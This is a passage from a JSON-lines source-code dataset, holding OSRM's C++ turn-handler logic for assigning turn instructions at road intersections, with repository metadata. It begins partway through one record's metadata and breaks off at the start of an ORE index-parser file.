"6e6da97ad221d213f399cb5281950faf0d200a6f", "size": 1484, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "third_party/boost/simd/arch/x86/xop/simd/function/shift_right.hpp", "max_stars_repo_name": "xmar/pythran", "max_stars_repo_head_hexsha": "dbf2e8b70ed1e4d4ac6b5f26ead4add940a72592", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 5.0, "max_stars_repo_stars_event_min_datetime": "2018-02-20T11:21:12.000Z", "max_stars_repo_stars_event_max_datetime": "2019-11-12T13:45:09.000Z", "max_issues_repo_path": "third_party/boost/simd/arch/x86/xop/simd/function/shift_right.hpp", "max_issues_repo_name": "xmar/pythran", "max_issues_repo_head_hexsha": "dbf2e8b70ed1e4d4ac6b5f26ead4add940a72592", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "third_party/boost/simd/arch/x86/xop/simd/function/shift_right.hpp", "max_forks_repo_name": "xmar/pythran", "max_forks_repo_head_hexsha": "dbf2e8b70ed1e4d4ac6b5f26ead4add940a72592", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2017-12-12T12:29:52.000Z", "max_forks_repo_forks_event_max_datetime": "2019-04-08T15:55:25.000Z", "avg_line_length": 34.511627907, "max_line_length": 100, "alphanum_fraction": 0.5296495957, "num_tokens": 320, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737563, "lm_q2_score": 0.2782567817320044, "lm_q1q2_score": 0.14781261066085613}}
{"text": "#include \"extractor/guidance/turn_handler.hpp\"\n#include \"extractor/guidance/constants.hpp\"\n#include \"extractor/guidance/intersection_scenario_three_way.hpp\"\n#include \"extractor/guidance/toolkit.hpp\"\n\n#include \"util/guidance/toolkit.hpp\"\n\n#include <limits>\n#include <utility>\n\n#include <boost/assert.hpp>\n\nusing EdgeData = osrm::util::NodeBasedDynamicGraph::EdgeData;\nusing osrm::util::guidance::getTurnDirection;\nusing osrm::util::guidance::angularDeviation;\n\nnamespace osrm\n{\nnamespace extractor\n{\nnamespace guidance\n{\n\nTurnHandler::TurnHandler(const util::NodeBasedDynamicGraph &node_based_graph,\n                         const std::vector<QueryNode> &node_info_list,\n                         const util::NameTable &name_table,\n                         const SuffixTable &street_name_suffix_table)\n    : IntersectionHandler(node_based_graph, node_info_list, name_table, street_name_suffix_table)\n{\n}\n\nbool TurnHandler::canProcess(const NodeID, const EdgeID, const Intersection &) const\n{\n    return true;\n}\n\nIntersection TurnHandler::\noperator()(const NodeID, const EdgeID via_edge, Intersection intersection) const\n{\n    if (intersection.size() == 1)\n        return handleOneWayTurn(std::move(intersection));\n\n    if (intersection[0].entry_allowed)\n    {\n        intersection[0].turn.instruction = {findBasicTurnType(via_edge, intersection[0]),\n                                            DirectionModifier::UTurn};\n    }\n\n    if (intersection.size() == 2)\n        return handleTwoWayTurn(via_edge, std::move(intersection));\n\n    if (intersection.size() == 3)\n        return handleThreeWayTurn(via_edge, std::move(intersection));\n\n    return handleComplexTurn(via_edge, std::move(intersection));\n}\n\nIntersection TurnHandler::handleOneWayTurn(Intersection intersection) const\n{\n    BOOST_ASSERT(intersection[0].turn.angle < 0.001);\n    return intersection;\n}\n\nIntersection TurnHandler::handleTwoWayTurn(const EdgeID via_edge, Intersection intersection) const\n{\n    BOOST_ASSERT(intersection[0].turn.angle < 0.001);\n    intersection[1].turn.instruction =\n        getInstructionForObvious(intersection.size(), via_edge, false, intersection[1]);\n\n    return intersection;\n}\n\nbool TurnHandler::isObviousOfTwo(const EdgeID via_edge,\n                                 const ConnectedRoad &road,\n                                 const ConnectedRoad &other) const\n{\n    const auto &in_data = node_based_graph.GetEdgeData(via_edge);\n\n    const auto &first_data = node_based_graph.GetEdgeData(road.turn.eid);\n    const auto &second_data = node_based_graph.GetEdgeData(other.turn.eid);\n    const auto &first_classification = first_data.road_classification;\n    const auto &second_classification = second_data.road_classification;\n    const bool is_ramp = first_classification.IsRampClass();\n    const bool is_obvious_by_road_class =\n        (!is_ramp &&\n         (2 * first_classification.GetPriority() < second_classification.GetPriority()) &&\n         in_data.road_classification == first_classification) ||\n        (!first_classification.IsLowPriorityRoadClass() &&\n         second_classification.IsLowPriorityRoadClass());\n\n    if (is_obvious_by_road_class)\n        return true;\n\n    const bool other_is_obvious_by_road_class =\n        (!second_classification.IsRampClass() &&\n         (2 * second_classification.GetPriority() < first_classification.GetPriority()) &&\n         in_data.road_classification == second_classification) ||\n        (!second_classification.IsLowPriorityRoadClass() &&\n         first_classification.IsLowPriorityRoadClass());\n\n    if (other_is_obvious_by_road_class)\n        return false;\n\n    const bool turn_is_perfectly_straight =\n        angularDeviation(road.turn.angle, STRAIGHT_ANGLE) < std::numeric_limits<double>::epsilon();\n\n    if (turn_is_perfectly_straight && in_data.name_id != EMPTY_NAMEID &&\n        in_data.name_id == node_based_graph.GetEdgeData(road.turn.eid).name_id)\n        return true;\n\n    const bool is_much_narrower_than_other =\n        angularDeviation(other.turn.angle, STRAIGHT_ANGLE) /\n                angularDeviation(road.turn.angle, STRAIGHT_ANGLE) >\n            INCREASES_BY_FOURTY_PERCENT &&\n        angularDeviation(angularDeviation(other.turn.angle, STRAIGHT_ANGLE),\n                         angularDeviation(road.turn.angle, STRAIGHT_ANGLE)) >\n            FUZZY_ANGLE_DIFFERENCE;\n\n    return is_much_narrower_than_other;\n}\n\nIntersection TurnHandler::handleThreeWayTurn(const EdgeID via_edge, Intersection intersection) const\n{\n    const auto &in_data = node_based_graph.GetEdgeData(via_edge);\n    const auto &first_data = node_based_graph.GetEdgeData(intersection[1].turn.eid);\n    const auto &second_data = node_based_graph.GetEdgeData(intersection[2].turn.eid);\n    BOOST_ASSERT(intersection[0].turn.angle < 0.001);\n    /* Two nearly straight turns -> FORK\n               OOOOOOO\n             /\n      IIIIII\n             \\\n               OOOOOOO\n     */\n    const auto fork_range = findFork(via_edge, intersection);\n    if (fork_range.first == 1 && fork_range.second == 2)\n        assignFork(via_edge, intersection[2], intersection[1]);\n\n    /*  T Intersection\n\n        OOOOOOO T OOOOOOOO\n                I\n                I\n                I\n     */\n    else if (isEndOfRoad(intersection[0], intersection[1], intersection[2]) &&\n             !isObviousOfTwo(via_edge, intersection[1], intersection[2]) &&\n             !isObviousOfTwo(via_edge, intersection[2], intersection[1]))\n    {\n        if (intersection[1].entry_allowed)\n        {\n            if (TurnType::OnRamp != findBasicTurnType(via_edge, intersection[1]))\n                intersection[1].turn.instruction = {TurnType::EndOfRoad, DirectionModifier::Right};\n            else\n                intersection[1].turn.instruction = {TurnType::OnRamp, DirectionModifier::Right};\n        }\n        if (intersection[2].entry_allowed)\n        {\n            if (TurnType::OnRamp != findBasicTurnType(via_edge, intersection[2]))\n\n                intersection[2].turn.instruction = {TurnType::EndOfRoad, DirectionModifier::Left};\n            else\n                intersection[2].turn.instruction = {TurnType::OnRamp, DirectionModifier::Left};\n        }\n    }\n    else\n    {\n        if (isObviousOfTwo(via_edge, intersection[1], intersection[2]) &&\n            (in_data.name_id != second_data.name_id || first_data.name_id == second_data.name_id))\n        {\n            intersection[1].turn.instruction = getInstructionForObvious(\n                3, via_edge, isThroughStreet(1, intersection), intersection[1]);\n        }\n        else\n        {\n            intersection[1].turn.instruction = {findBasicTurnType(via_edge, intersection[1]),\n                                                getTurnDirection(intersection[1].turn.angle)};\n        }\n\n        if (isObviousOfTwo(via_edge, intersection[2], intersection[1]) &&\n            (in_data.name_id != first_data.name_id || first_data.name_id == second_data.name_id))\n        {\n            intersection[2].turn.instruction = getInstructionForObvious(\n                3, via_edge, isThroughStreet(2, intersection), intersection[2]);\n        }\n        else\n        {\n            intersection[2].turn.instruction = {findBasicTurnType(via_edge, intersection[2]),\n                                                getTurnDirection(intersection[2].turn.angle)};\n        }\n    }\n    return intersection;\n}\n\nIntersection TurnHandler::handleComplexTurn(const EdgeID via_edge, Intersection intersection) const\n{\n    const std::size_t obvious_index = findObviousTurn(via_edge, intersection);\n    const auto fork_range = findFork(via_edge, intersection);\n    std::size_t straightmost_turn = 0;\n    double straightmost_deviation = 180;\n    for (std::size_t i = 0; i < intersection.size(); ++i)\n    {\n        const double deviation = angularDeviation(intersection[i].turn.angle, STRAIGHT_ANGLE);\n        if (deviation < straightmost_deviation)\n        {\n            straightmost_deviation = deviation;\n            straightmost_turn = i;\n        }\n    }\n\n    // check whether there is a turn of the same name\n    const auto &in_data = node_based_graph.GetEdgeData(via_edge);\n\n    const bool has_same_name_turn = [&]() {\n        for (std::size_t i = 1; i < intersection.size(); ++i)\n        {\n            if (node_based_graph.GetEdgeData(intersection[i].turn.eid).name_id == in_data.name_id)\n                return true;\n        }\n        return false;\n    }();\n\n    // check whether the obvious choice is actually a through street\n    if (obvious_index != 0)\n    {\n        intersection[obvious_index].turn.instruction =\n            getInstructionForObvious(intersection.size(),\n                                     via_edge,\n                                     isThroughStreet(obvious_index, intersection),\n                                     intersection[obvious_index]);\n        if (has_same_name_turn &&\n            node_based_graph.GetEdgeData(intersection[obvious_index].turn.eid).name_id !=\n                in_data.name_id &&\n            intersection[obvious_index].turn.instruction.type == TurnType::NewName)\n        {\n            // this is a special case that is necessary to correctly handle obvious turns on\n            // continuing streets. Right now osrm does not know about right of way. If a street\n            // turns to the left just like:\n            //\n            //       a\n            //       a\n            // aaaaaaa b b\n            //\n            // And another road exits here, we don't want to call it a new name, even though the\n            // turn is obvious and does not require steering. To correctly handle these situations\n            // in turn collapsing, we use the turn + straight combination here\n            intersection[obvious_index].turn.instruction.type = TurnType::Turn;\n            intersection[obvious_index].turn.instruction.direction_modifier =\n                DirectionModifier::Straight;\n        }\n\n        // assign left/right turns\n        intersection = assignLeftTurns(via_edge, std::move(intersection), obvious_index + 1);\n        intersection = assignRightTurns(via_edge, std::move(intersection), obvious_index);\n    }\n    else if (fork_range.first != 0 && fork_range.second - fork_range.first <= 2) // found fork\n    {\n        if (fork_range.second - fork_range.first == 1)\n        {\n            auto &left = intersection[fork_range.second];\n            auto &right = intersection[fork_range.first];\n            const auto left_classification =\n                node_based_graph.GetEdgeData(left.turn.eid).road_classification;\n            const auto right_classification =\n                node_based_graph.GetEdgeData(right.turn.eid).road_classification;\n            if (canBeSeenAsFork(left_classification, right_classification))\n                assignFork(via_edge, left, right);\n            else if (left_classification.GetPriority() > right_classification.GetPriority())\n            {\n                right.turn.instruction =\n                    getInstructionForObvious(intersection.size(), via_edge, false, right);\n                left.turn.instruction = {findBasicTurnType(via_edge, left),\n                                         DirectionModifier::SlightLeft};\n            }\n            else\n            {\n                left.turn.instruction =\n                    getInstructionForObvious(intersection.size(), via_edge, false, left);\n                right.turn.instruction = {findBasicTurnType(via_edge, right),\n                                          DirectionModifier::SlightRight};\n            }\n        }\n        else if (fork_range.second - fork_range.first == 2)\n        {\n            assignFork(via_edge,\n                       intersection[fork_range.second],\n                       intersection[fork_range.first + 1],\n                       intersection[fork_range.first]);\n        }\n        // assign left/right turns\n        intersection = assignLeftTurns(via_edge, std::move(intersection), fork_range.second + 1);\n        intersection = assignRightTurns(via_edge, std::move(intersection), fork_range.first);\n    }\n    else if (straightmost_deviation < FUZZY_ANGLE_DIFFERENCE &&\n             !intersection[straightmost_turn].entry_allowed)\n    {\n        // invalid straight turn\n        intersection = assignLeftTurns(via_edge, std::move(intersection), straightmost_turn + 1);\n        intersection = assignRightTurns(via_edge, std::move(intersection), straightmost_turn);\n    }\n    // no straight turn\n    else if (intersection[straightmost_turn].turn.angle > 180)\n    {\n        // at most three turns on either side\n        intersection = assignLeftTurns(via_edge, std::move(intersection), straightmost_turn);\n        intersection = assignRightTurns(via_edge, std::move(intersection), straightmost_turn);\n    }\n    else if (intersection[straightmost_turn].turn.angle < 180)\n    {\n        intersection = assignLeftTurns(via_edge, std::move(intersection), straightmost_turn + 1);\n        intersection = assignRightTurns(via_edge, std::move(intersection), straightmost_turn + 1);\n    }\n    else\n    {\n        assignTrivialTurns(via_edge, intersection, 1, intersection.size());\n    }\n    return intersection;\n}\n\n// Assignment of left turns hands of to right turns.\n// To do so, we mirror every road segment and reverse the order.\n// After the mirror and reversal / we assign right turns and\n// mirror again and restore the original order.\nIntersection TurnHandler::assignLeftTurns(const EdgeID via_edge,\n                                          Intersection intersection,\n                                          const std::size_t starting_at) const\n{\n    BOOST_ASSERT(starting_at <= intersection.size());\n    const auto switch_left_and_right = [](Intersection &intersection) {\n        BOOST_ASSERT(!intersection.empty());\n\n        for (auto &road : intersection)\n            road = mirror(std::move(road));\n\n        std::reverse(intersection.begin() + 1, intersection.end());\n    };\n\n    switch_left_and_right(intersection);\n    // account for the u-turn in the beginning\n    const auto count = intersection.size() - starting_at + 1;\n    intersection = assignRightTurns(via_edge, std::move(intersection), count);\n    switch_left_and_right(intersection);\n\n    return intersection;\n}\n\n// can only assign three turns\nIntersection TurnHandler::assignRightTurns(const EdgeID via_edge,\n                                           Intersection intersection,\n                                           const std::size_t up_to) const\n{\n    BOOST_ASSERT(up_to <= intersection.size());\n    const auto count_valid = [&intersection, up_to]() {\n        std::size_t count = 0;\n        for (std::size_t i = 1; i < up_to; ++i)\n            if (intersection[i].entry_allowed)\n                ++count;\n        return count;\n    };\n    if (up_to <= 1 || count_valid() == 0)\n        return intersection;\n    // handle single turn\n    if (up_to == 2)\n    {\n        assignTrivialTurns(via_edge, intersection, 1, up_to);\n    }\n    // Handle Turns 1-3\n    else if (up_to == 3)\n    {\n        const auto first_direction = getTurnDirection(intersection[1].turn.angle);\n        const auto second_direction = getTurnDirection(intersection[2].turn.angle);\n        if (first_direction == second_direction)\n        {\n            // conflict\n            handleDistinctConflict(via_edge, intersection[2], intersection[1]);\n        }\n        else\n        {\n            assignTrivialTurns(via_edge, intersection, 1, up_to);\n        }\n    }\n    // Handle Turns 1-4\n    else if (up_to == 4)\n    {\n        const auto first_direction = getTurnDirection(intersection[1].turn.angle);\n        const auto second_direction = getTurnDirection(intersection[2].turn.angle);\n        const auto third_direction = getTurnDirection(intersection[3].turn.angle);\n        if (first_direction != second_direction && second_direction != third_direction)\n        {\n            // due to the circular order, the turn directions are unique\n            // first_direction != third_direction is implied\n            BOOST_ASSERT(first_direction != third_direction);\n            assignTrivialTurns(via_edge, intersection, 1, up_to);\n        }\n        else if (2 >= (intersection[1].entry_allowed + intersection[2].entry_allowed +\n                       intersection[3].entry_allowed))\n        {\n            // at least a single invalid\n            if (!intersection[3].entry_allowed)\n            {\n                handleDistinctConflict(via_edge, intersection[2], intersection[1]);\n            }\n            else if (!intersection[1].entry_allowed)\n            {\n                handleDistinctConflict(via_edge, intersection[3], intersection[2]);\n            }\n            else // handles one-valid as well as two valid (1,3)\n            {\n                handleDistinctConflict(via_edge, intersection[3], intersection[1]);\n            }\n        }\n        // From here on out, intersection[1-3].entry_allowed has to be true (Otherwise we would have\n        // triggered 2>= ...)\n        //\n        // Conflicting Turns, but at least farther than what we call a narrow turn\n        else if (angularDeviation(intersection[1].turn.angle, intersection[2].turn.angle) >=\n                     NARROW_TURN_ANGLE &&\n                 angularDeviation(intersection[2].turn.angle, intersection[3].turn.angle) >=\n                     NARROW_TURN_ANGLE)\n        {\n            BOOST_ASSERT(intersection[1].entry_allowed && intersection[2].entry_allowed &&\n                         intersection[3].entry_allowed);\n\n            intersection[1].turn.instruction = {findBasicTurnType(via_edge, intersection[1]),\n                                                DirectionModifier::SharpRight};\n            intersection[2].turn.instruction = {findBasicTurnType(via_edge, intersection[2]),\n                                                DirectionModifier::Right};\n            intersection[3].turn.instruction = {findBasicTurnType(via_edge, intersection[3]),\n                                                DirectionModifier::SlightRight};\n        }\n        else if (((first_direction == second_direction && second_direction == third_direction) ||\n                  (first_direction == second_direction &&\n                   angularDeviation(intersection[2].turn.angle, intersection[3].turn.angle) <\n                       GROUP_ANGLE) ||\n                  (second_direction == third_direction &&\n                   angularDeviation(intersection[1].turn.angle, intersection[2].turn.angle) <\n                       GROUP_ANGLE)))\n        {\n            BOOST_ASSERT(intersection[1].entry_allowed && intersection[2].entry_allowed &&\n                         intersection[3].entry_allowed);\n            // count backwards from the slightest turn\n            assignTrivialTurns(via_edge, intersection, 1, up_to);\n        }\n        else if (((first_direction == second_direction &&\n                   angularDeviation(intersection[2].turn.angle, intersection[3].turn.angle) >=\n                       GROUP_ANGLE) ||\n                  (second_direction == third_direction &&\n                   angularDeviation(intersection[1].turn.angle, intersection[2].turn.angle) >=\n                       GROUP_ANGLE)))\n        {\n            BOOST_ASSERT(intersection[1].entry_allowed && intersection[2].entry_allowed &&\n                         intersection[3].entry_allowed);\n\n            if (angularDeviation(intersection[2].turn.angle, intersection[3].turn.angle) >=\n                GROUP_ANGLE)\n            {\n                handleDistinctConflict(via_edge, intersection[2], intersection[1]);\n                intersection[3].turn.instruction = {findBasicTurnType(via_edge, intersection[3]),\n                                                    third_direction};\n            }\n            else\n            {\n                intersection[1].turn.instruction = {findBasicTurnType(via_edge, intersection[1]),\n                                                    first_direction};\n                handleDistinctConflict(via_edge, intersection[3], intersection[2]);\n            }\n        }\n        else\n        {\n            assignTrivialTurns(via_edge, intersection, 1, up_to);\n        }\n    }\n    else\n    {\n        assignTrivialTurns(via_edge, intersection, 1, up_to);\n    }\n    return intersection;\n}\n\nstd::pair<std::size_t, std::size_t> TurnHandler::findFork(const EdgeID via_edge,\n                                                          const Intersection &intersection) const\n{\n\n    std::size_t best = 0;\n    double best_deviation = 180;\n\n    // TODO handle road classes\n    for (std::size_t i = 1; i < intersection.size(); ++i)\n    {\n        const double deviation = angularDeviation(intersection[i].turn.angle, STRAIGHT_ANGLE);\n        if (intersection[i].entry_allowed && deviation < best_deviation)\n        {\n            best_deviation = deviation;\n            best = i;\n        }\n    }\n    if (best_deviation <= NARROW_TURN_ANGLE)\n    {\n        std::size_t left = best, right = best;\n        while (left + 1 < intersection.size() &&\n               (angularDeviation(intersection[left + 1].turn.angle, STRAIGHT_ANGLE) <=\n                    NARROW_TURN_ANGLE ||\n                (angularDeviation(intersection[left].turn.angle,\n                                  intersection[left + 1].turn.angle) <= NARROW_TURN_ANGLE &&\n                 angularDeviation(intersection[left].turn.angle, STRAIGHT_ANGLE) <= GROUP_ANGLE)))\n            ++left;\n        while (\n            right > 1 &&\n            (angularDeviation(intersection[right - 1].turn.angle, STRAIGHT_ANGLE) <=\n                 NARROW_TURN_ANGLE ||\n             (angularDeviation(intersection[right].turn.angle, intersection[right - 1].turn.angle) <\n                  NARROW_TURN_ANGLE &&\n              angularDeviation(intersection[right - 1].turn.angle, STRAIGHT_ANGLE) <= GROUP_ANGLE)))\n            --right;\n\n        if (left == right)\n            return std::make_pair(std::size_t{0}, std::size_t{0});\n\n        const bool valid_indices = 0 < right && right < left;\n        const bool separated_at_left_side =\n            angularDeviation(intersection[left].turn.angle,\n                             intersection[(left + 1) % intersection.size()].turn.angle) >=\n            GROUP_ANGLE;\n        const bool separated_at_right_side =\n            right > 0 &&\n            angularDeviation(intersection[right].turn.angle, intersection[right - 1].turn.angle) >=\n                GROUP_ANGLE;\n\n        const bool not_more_than_three = (left - right) <= 2;\n        const bool has_obvious = [&]() {\n            if (left - right == 1)\n            {\n                return isObviousOfTwo(via_edge, intersection[left], intersection[right]) ||\n                       isObviousOfTwo(via_edge, intersection[right], intersection[left]);\n            }\n            else if (left - right == 2)\n            {\n                return isObviousOfTwo(via_edge, intersection[right + 1], intersection[right]) ||\n                       isObviousOfTwo(via_edge, intersection[right], intersection[right + 1]) ||\n                       isObviousOfTwo(via_edge, intersection[left], intersection[right + 1]) ||\n                       isObviousOfTwo(via_edge, intersection[right + 1], intersection[left]);\n            }\n            return false;\n        }();\n\n        const bool has_compatible_classes = [&]() {\n            const bool ramp_class = node_based_graph.GetEdgeData(intersection[right].turn.eid)\n                                        .road_classification.IsLinkClass();\n            for (std::size_t index = right + 1; index <= left; ++index)\n                if (ramp_class !=\n                    node_based_graph.GetEdgeData(intersection[index].turn.eid)\n                        .road_classification.IsLinkClass())\n                    return false;\n            return true;\n        }();\n\n        // TODO check whether 2*NARROW_TURN is too large\n        if (valid_indices && separated_at_left_side && separated_at_right_side &&\n            not_more_than_three && !has_obvious && has_compatible_classes)\n            return std::make_pair(right, left);\n    }\n    return std::make_pair(std::size_t{0}, std::size_t{0});\n}\n\nvoid TurnHandler::handleDistinctConflict(const EdgeID via_edge,\n                                         ConnectedRoad &left,\n                                         ConnectedRoad &right) const\n{\n    // single turn of both is valid (don't change the valid one)\n    // or multiple identical angles -> bad OSM intersection\n    if ((!left.entry_allowed || !right.entry_allowed) || (left.turn.angle == right.turn.angle))\n    {\n        if (left.entry_allowed)\n            left.turn.instruction = {findBasicTurnType(via_edge, left),\n                                     getTurnDirection(left.turn.angle)};\n        if (right.entry_allowed)\n            right.turn.instruction = {findBasicTurnType(via_edge, right),\n                                      getTurnDirection(right.turn.angle)};\n        return;\n    }\n\n    if (getTurnDirection(left.turn.angle) == DirectionModifier::Straight ||\n        getTurnDirection(left.turn.angle) == DirectionModifier::SlightLeft ||\n        getTurnDirection(right.turn.angle) == DirectionModifier::SlightRight)\n    {\n        const auto left_classification =\n            node_based_graph.GetEdgeData(left.turn.eid).road_classification;\n        const auto right_classification =\n            node_based_graph.GetEdgeData(right.turn.eid).road_classification;\n        if (canBeSeenAsFork(left_classification, right_classification))\n            assignFork(via_edge, left, right);\n        else if (left_classification.GetPriority() > right_classification.GetPriority())\n        {\n            // FIXME this should possibly know about the actual roads?\n            // here we don't know about the intersection size. To be on the save side,\n            // we declare it\n            // as complex (at least size 4)\n            right.turn.instruction = getInstructionForObvious(4, via_edge, false, right);\n            left.turn.instruction = {findBasicTurnType(via_edge, left),\n                                     DirectionModifier::SlightLeft};\n        }\n        else\n        {\n            // FIXME this should possibly know about the actual roads?\n            // here we don't know about the intersection size. To be on the save side,\n            // we declare it\n            // as complex (at least size 4)\n            left.turn.instruction = getInstructionForObvious(4, via_edge, false, left);\n            right.turn.instruction = {findBasicTurnType(via_edge, right),\n                                      DirectionModifier::SlightRight};\n        }\n    }\n    const auto left_type = findBasicTurnType(via_edge, left);\n    const auto right_type = findBasicTurnType(via_edge, right);\n    // Two Right Turns\n    if (angularDeviation(left.turn.angle, 90) < MAXIMAL_ALLOWED_NO_TURN_DEVIATION)\n    {\n        // Keep left perfect, shift right\n        left.turn.instruction = {left_type, DirectionModifier::Right};\n        right.turn.instruction = {right_type, DirectionModifier::SharpRight};\n        return;\n    }\n    if (angularDeviation(right.turn.angle, 90) < MAXIMAL_ALLOWED_NO_TURN_DEVIATION)\n    {\n        // Keep Right perfect, shift left\n        left.turn.instruction = {left_type, DirectionModifier::SlightRight};\n        right.turn.instruction = {right_type, DirectionModifier::Right};\n        return;\n    }\n    // Two Right Turns\n    if (angularDeviation(left.turn.angle, 270) < MAXIMAL_ALLOWED_NO_TURN_DEVIATION)\n    {\n        // Keep left perfect, shift right\n        left.turn.instruction = {left_type, DirectionModifier::Left};\n        right.turn.instruction = {right_type, DirectionModifier::SlightLeft};\n        return;\n    }\n    if (angularDeviation(right.turn.angle, 270) < MAXIMAL_ALLOWED_NO_TURN_DEVIATION)\n    {\n        // Keep Right perfect, shift left\n        left.turn.instruction = {left_type, DirectionModifier::SharpLeft};\n        right.turn.instruction = {right_type, DirectionModifier::Left};\n        return;\n    }\n    // Shift the lesser penalty\n    if (getTurnDirection(left.turn.angle) == DirectionModifier::SharpLeft)\n    {\n        left.turn.instruction = {left_type, DirectionModifier::SharpLeft};\n        right.turn.instruction = {right_type, DirectionModifier::Left};\n        return;\n    }\n    if (getTurnDirection(right.turn.angle) == DirectionModifier::SharpRight)\n    {\n        left.turn.instruction = {left_type, DirectionModifier::Right};\n        right.turn.instruction = {right_type, DirectionModifier::SharpRight};\n        return;\n    }\n\n    if (getTurnDirection(left.turn.angle) == DirectionModifier::Right)\n    {\n        if (angularDeviation(left.turn.angle, 90) > angularDeviation(right.turn.angle, 90))\n        {\n            left.turn.instruction = {left_type, DirectionModifier::SlightRight};\n            right.turn.instruction = {right_type, DirectionModifier::Right};\n        }\n        else\n        {\n            left.turn.instruction = {left_type, DirectionModifier::Right};\n            right.turn.instruction = {right_type, DirectionModifier::SharpRight};\n        }\n    }\n    else\n    {\n        if (angularDeviation(left.turn.angle, 270) > angularDeviation(right.turn.angle, 270))\n        {\n            left.turn.instruction = {left_type, DirectionModifier::SharpLeft};\n            right.turn.instruction = {right_type, DirectionModifier::Left};\n        }\n        else\n        {\n            left.turn.instruction = {left_type, DirectionModifier::Left};\n            right.turn.instruction = {right_type, DirectionModifier::SlightLeft};\n        }\n    }\n}\n\n} // namespace guidance\n} // namespace extractor\n} // namespace osrm\n", "meta": {"hexsha": "e86276ebcb3334ac4dc8d13f7ff33edda05bb5e5", "size": 29568, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/extractor/guidance/turn_handler.cpp", "max_stars_repo_name": "AccessMap/accessmaplite-osrm-backend", "max_stars_repo_head_hexsha": "1a7586b7cc33c6ba7bff63c418df5b4822fd7f27", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/extractor/guidance/turn_handler.cpp", "max_issues_repo_name": "AccessMap/accessmaplite-osrm-backend", "max_issues_repo_head_hexsha": "1a7586b7cc33c6ba7bff63c418df5b4822fd7f27", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/extractor/guidance/turn_handler.cpp", "max_forks_repo_name": "AccessMap/accessmaplite-osrm-backend", "max_forks_repo_head_hexsha": "1a7586b7cc33c6ba7bff63c418df5b4822fd7f27", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.852173913, "max_line_length": 100, "alphanum_fraction": 0.613771645, "num_tokens": 6273, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118791767282, "lm_q2_score": 0.2909808600663598, "lm_q1q2_score": 0.14776353735475878}}
{"text": "/*\n Copyright (C) 2016 Quaternion Risk Management Ltd\n All rights reserved.\n\n This file is part of ORE, a free-software/open-source library\n for transparent pricing and risk analysis - http://opensourcerisk.org\n\n ORE is free software: you can redistribute it and/or modify it\n under the terms of the Modified BSD License.  You should have received a\n copy of the license along with this program.\n The license is also available online at <http://opensourcerisk.org>\n\n This program is distributed on the basis that it will form a useful\n contribution to risk analytics and model standardisation, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the license for more details.\n*/\n\n/*! \\file ored/utilities/indexparser.cpp\n    \\brief\n    \\ingroup utilities\n*/\n\n#include <boost/algorithm/string.hpp>\n#include <boost/make_shared.hpp>\n#include <map>\n#include <ored/configuration/conventions.hpp>\n#include <ored/utilities/indexparser.hpp>\n#include <ored/utilities/parsers.hpp>\n#include <ql/errors.hpp>\n#include <ql/indexes/all.hpp>\n#include <ql/time/calendars/target.hpp>\n#include <ql/time/daycounters/all.hpp>\n#include <qle/indexes/bmaindexwrapper.hpp>\n#include <qle/indexes/dkcpi.hpp>\n#include <qle/indexes/equityindex.hpp>\n#include <qle/indexes/fxindex.hpp>\n#include <qle/indexes/genericiborindex.hpp>\n#include <qle/indexes/ibor/audbbsw.hpp>\n#include <qle/indexes/ibor/brlcdi.hpp>\n#include <qle/indexes/ibor/chfsaron.hpp>\n#include <qle/indexes/ibor/chftois.hpp>\n#include <qle/indexes/ibor/clpcamara.hpp>\n#include <qle/indexes/ibor/copibr.hpp>\n#include <qle/indexes/ibor/corra.hpp>\n#include <qle/indexes/ibor/czkpribor.hpp>\n#include <qle/indexes/ibor/demlibor.hpp>\n#include <qle/indexes/ibor/dkkcibor.hpp>\n#include <qle/indexes/ibor/dkkois.hpp>\n#include <qle/indexes/ibor/hkdhibor.hpp>\n#include <qle/indexes/ibor/hufbubor.hpp>\n#include <qle/indexes/ibor/idridrfix.hpp>\n#include <qle/indexes/ibor/idrjibor.hpp>\n#include <qle/indexes/ibor/ilstelbor.hpp>\n#include <qle/indexes/ibor/inrmifor.hpp>\n#include <qle/indexes/ibor/krwcd.hpp>\n#include <qle/indexes/ibor/krwkoribor.hpp>\n#include <qle/indexes/ibor/mxntiie.hpp>\n#include <qle/indexes/ibor/myrklibor.hpp>\n#include <qle/indexes/ibor/noknibor.hpp>\n#include <qle/indexes/ibor/nowa.hpp>\n#include <qle/indexes/ibor/nzdbkbm.hpp>\n#include <qle/indexes/ibor/plnpolonia.hpp>\n#include <qle/indexes/ibor/phpphiref.hpp>\n#include <qle/indexes/ibor/plnwibor.hpp>\n#include <qle/indexes/ibor/rubmosprime.hpp>\n#include <qle/indexes/ibor/saibor.hpp>\n#include <qle/indexes/ibor/seksior.hpp>\n#include <qle/indexes/ibor/sekstibor.hpp>\n#include <qle/indexes/ibor/sgdsibor.hpp>\n#include <qle/indexes/ibor/sgdsor.hpp>\n#include <qle/indexes/ibor/skkbribor.hpp>\n#include <qle/indexes/ibor/thbbibor.hpp>\n#include <qle/indexes/ibor/tonar.hpp>\n#include <qle/indexes/ibor/twdtaibor.hpp>\n#include <qle/indexes/secpi.hpp>\n\nusing namespace QuantLib;\nusing namespace QuantExt;\nusing namespace std;\nusing ore::data::Convention;\n\nnamespace ore {\nnamespace data {\n\n// Helper build classes for static map\n\nclass IborIndexParser {\npublic:\n    virtual 